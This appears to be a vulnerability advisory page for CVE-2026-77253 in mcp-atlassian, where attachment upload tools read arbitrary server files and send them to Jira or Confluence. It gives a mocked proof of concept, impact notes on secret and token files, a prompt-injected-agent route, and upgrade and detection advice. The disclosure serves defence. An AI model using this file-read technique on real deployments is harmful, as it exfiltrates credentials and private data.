CVE-2026-77253: MCP Atlassian: Jira and Confluence attachment upload tools can read arbitrary server-local files
mcp-atlassian before 0.22.0 lets a caller with write-tool access make the server read any file its process can open and upload it to Jira or Confluence as an attachment. The upload tools take local paths with no directory check. Upgrade to 0.22.0, or run in read-only mode.
Published Sep 22, 2026 · Analysis Oct 22, 2026
What an attacker can do
The Confluence upload tool takes a file_path described as an absolute or relative server path. It resolves relative paths, checks the file exists, and opens it with open(file_path, "rb"). The multi-upload variant takes comma-separated paths. Jira's upload code does the same, and jira_update_issue accepts an attachments field of JSON or CSV paths that reaches upload_attachments(). None of these call validate_safe_path() or restrict the directory.
A caller who can invoke write tools therefore reads server-side files and sends them to an issue or page that the configured account can write to. The attacker then reads the file back from Atlassian. In containers this can include mounted secrets, environment files, OAuth token files, service-account credentials and source code.
The attack is remote when the MCP server is exposed over HTTP or shared by several users, and it needs only the ability to call the write tools. A prompt-injected agent could trigger it too. The tools carry @check_write_access, so READ_ONLY_MODE=true blocks them. The reporter proved the file reads with mocked upload sinks, without contacting Atlassian.
Who is affected
mcp-atlassian below 0.22.0 is affected. Risk is highest for HTTP or multi-user deployments with write access enabled, which is the default.
pip show mcp-atlassianFor uvx or container installs, check the pinned version or image tag. A single-user stdio setup is exposed only through whoever controls the client or its prompts.
mcp-atlassian
- Ecosystem
- PyPI
- Affected
- < 0.22.0
- Fixed in
- 0.22.0
- Check
pip show mcp-atlassian
How to fix it
Upgrade to 0.22.0:
pip install --upgrade mcp-atlassian==0.22.0The fix is in pull request 1448 (commit b041733). Until you upgrade, set READ_ONLY_MODE=true to block the upload and update tools. Do not expose the HTTP transport to untrusted callers, and keep secrets out of the MCP process's readable filesystem.
How to tell if you were hit
Look in Jira and Confluence for attachments you did not expect, such as files named like .env, credentials.json, id_rsa or token files, added by the MCP service account. In MCP server logs, search for calls to the attachment upload tools or jira_update_issue with an attachments value containing absolute paths or ... Beam can record agent MCP tool calls and file access, which helps show whether an agent session triggered an upload.
Original advisory
From the GitHub Advisory Database (CC BY 4.0).
Summary
MCP Atlassian exposes Jira and Confluence attachment upload tools that accept arbitrary local filesystem paths and upload those file contents to Atlassian. In HTTP or multi-user deployments, an MCP caller who can invoke write tools can cause the server to read any file accessible to the MCP process and send it to Jira/Confluence as an attachment.
Details
The Confluence MCP upload tool accepts a file_path described as an absolute or relative server path in src/mcp_atlassian/servers/confluence.py:1290-1316 and forwards it directly to confluence_fetcher.upload_attachment() in src/mcp_atlassian/servers/confluence.py:1356-1363. The multi-upload variant accepts comma-separated local paths in src/mcp_atlassian/servers/confluence.py:1372-1449.
The Confluence attachment implementation converts relative paths to absolute paths, checks only existence, and then opens the path for upload. There is no call to validate_safe_path() or any allowed directory check for uploads in src/mcp_atlassian/confluence/attachments.py:61-79; the direct upload path opens the file with open(file_path, "rb") in src/mcp_atlassian/confluence/attachments.py:467-490.
The Jira upload implementation has the same pattern: it converts relative paths, checks existence, and opens the path in src/mcp_atlassian/jira/attachments.py:371-388. Jira issue update also accepts an attachments field as JSON or CSV local paths in src/mcp_atlassian/servers/jira.py:1609-1662, forwards it through update fields in src/mcp_atlassian/servers/jira.py:1668-1676, and IssuesMixin.update_issue() calls self.upload_attachments(issue_key, kwargs["attachments"]) in src/mcp_atlassian/jira/issues.py:1132-1137.
The tools are decorated with @check_write_access, so READ_ONLY_MODE=true blocks them. However, in default write-enabled deployments, the only security boundary is whether the MCP caller can invoke write tools. Combined with HTTP/multi-user exposure, this becomes a server-side arbitrary file read/exfiltration primitive to the configured Jira/Confluence instance.
PoC
The following proof uses temporary files and mocked upload sinks only. It does not contact Atlassian or modify remote data.
uv run python - <<'PY'
import json, tempfile
from pathlib import Path
from types import SimpleNamespace
from mcp_atlassian.confluence.attachments import AttachmentsMixin as ConfluenceAttachmentsMixin
from mcp_atlassian.confluence.config import ConfluenceConfig
from mcp_atlassian.jira.attachments import AttachmentsMixin as JiraAttachmentsMixin
from mcp_atlassian.jira.config import JiraConfig
class FakeResponse:
def raise_for_status(self):
pass
def json(self):
return {'results': [{'id': 'att-poc'}]}
class FakeConfluenceSession:
def __init__(self):
self.uploaded = None
def put(self, url, headers=None, files=None, data=None):
file_tuple = files['file']
self.uploaded = {
'url': url,
'filename': file_tuple[0],
'content': file_tuple[1].read().decode(),
}
file_tuple[1].close()
return FakeResponse()
def confluence_probe(secret_path):
fetcher = object.__new__(ConfluenceAttachmentsMixin)
session = FakeConfluenceSession()
fetcher.config = ConfluenceConfig(url='https://confluence.example.test/wiki', auth_type='pat', personal_token='token')
fetcher.confluence = SimpleNamespace(_session=session)
result = fetcher.upload_attachment('123456', str(secret_path))
return {'result_success': result.get('success'), 'uploaded': session.uploaded}
class FakeJiraApi:
def __init__(self):
self.uploaded = None
def add_attachment(self, issue_key, filename):
self.uploaded = {
'issue_key': issue_key,
'filename': Path(filename).name,
'content': Path(filename).read_text(),
}
return {'id': 'att-poc'}
def jira_probe(secret_path):
fetcher = object.__new__(JiraAttachmentsMixin)
fake = FakeJiraApi()
fetcher.config = JiraConfig(url='https://jira.example.test', auth_type='pat', personal_token='token')
fetcher.jira = fake
result = fetcher.upload_attachment('SAFE-1', str(secret_path))
return {'result_success': result.get('success'), 'uploaded': fake.uploaded}
with tempfile.TemporaryDirectory(prefix='mcp-atlassian-upload-poc-') as tmp:
secret_path = Path(tmp) / 'server-secret.txt'
secret_path.write_text('SERVER_LOCAL_SECRET_MARKER')
print(json.dumps({
'confluence': confluence_probe(secret_path),
'jira': jira_probe(secret_path),
}, indent=2, sort_keys=True))
PYObserved output from this environment:
{
"confluence": {
"result_success": true,
"uploaded": {
"content": "SERVER_LOCAL_SECRET_MARKER",
"filename": "server-secret.txt",
"url": "https://confluence.example.test/wiki/rest/api/content/123456/child/attachment"
}
},
"jira": {
"result_success": true,
"uploaded": {
"content": "SERVER_LOCAL_SECRET_MARKER",
"filename": "server-secret.txt",
"issue_key": "SAFE-1"
}
}
}The proof demonstrates that attacker-supplied local paths reach file reads and the contents are passed to the upload sink.
Impact
A caller with MCP write-tool access can exfiltrate any file readable by the MCP server process to an Atlassian issue or Confluence page that the configured account can write to. In containerized or server deployments this can include mounted secrets, environment files, OAuth fallback token files, service-account credentials, source code, or other local data. The attack is remote when the MCP server is exposed over HTTP and requires only ability to call the attachment/update write tools.
Credited to sondt99.
Questions
- Does READ_ONLY_MODE stop this?
Yes. The upload tools are decorated with
@check_write_access, soREAD_ONLY_MODE=trueblocks them. Default write-enabled deployments are exposed.- Which files can be read?
Any file the MCP server process can read, since the upload code checks only that the path exists. In containers that can include mounted secrets and token files.
- Is this exploitable without network access?
The advisory calls it remote when the server runs over HTTP. A local stdio server is reachable only by whoever controls the MCP client, including an agent steered by prompt injection.
- Is there a patch?
Yes. mcp-atlassian 0.22.0 is the patched version listed in the advisory.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology
More Other MCP servers and tools vulnerabilities
All Other MCP servers and tools entriesCVE-2026-77361
obsidian-tc : Symlink read-ACL scope bypass via lexical path checks
medium4.7Oct 23, 2026CVE-2026-114126
Storybook dev server vulnerable to code injection from the local network
high8.7Oct 22, 2026CVE-2026-113731
djust: Arbitrary absolute-path file read in the find_handlers_for_template MCP tool
low3.3Oct 21, 2026CVE-2026-114125
Storybook: Missing origin validation in Storybook preview allows code injection from malicious websites
critical9.4Oct 21, 2026CVE-2026-111770
MCP TypeScript server SDK: Shared transport or server instances delivered one HTTP client's messages to another
high7.7Oct 20, 2026GHSA-953h-535j-jg2v
agent-router: MCP session resume does not verify the embedded anti-hijacking subject; default Helm seed makes session IDs forgeable
medium6.8Oct 19, 2026
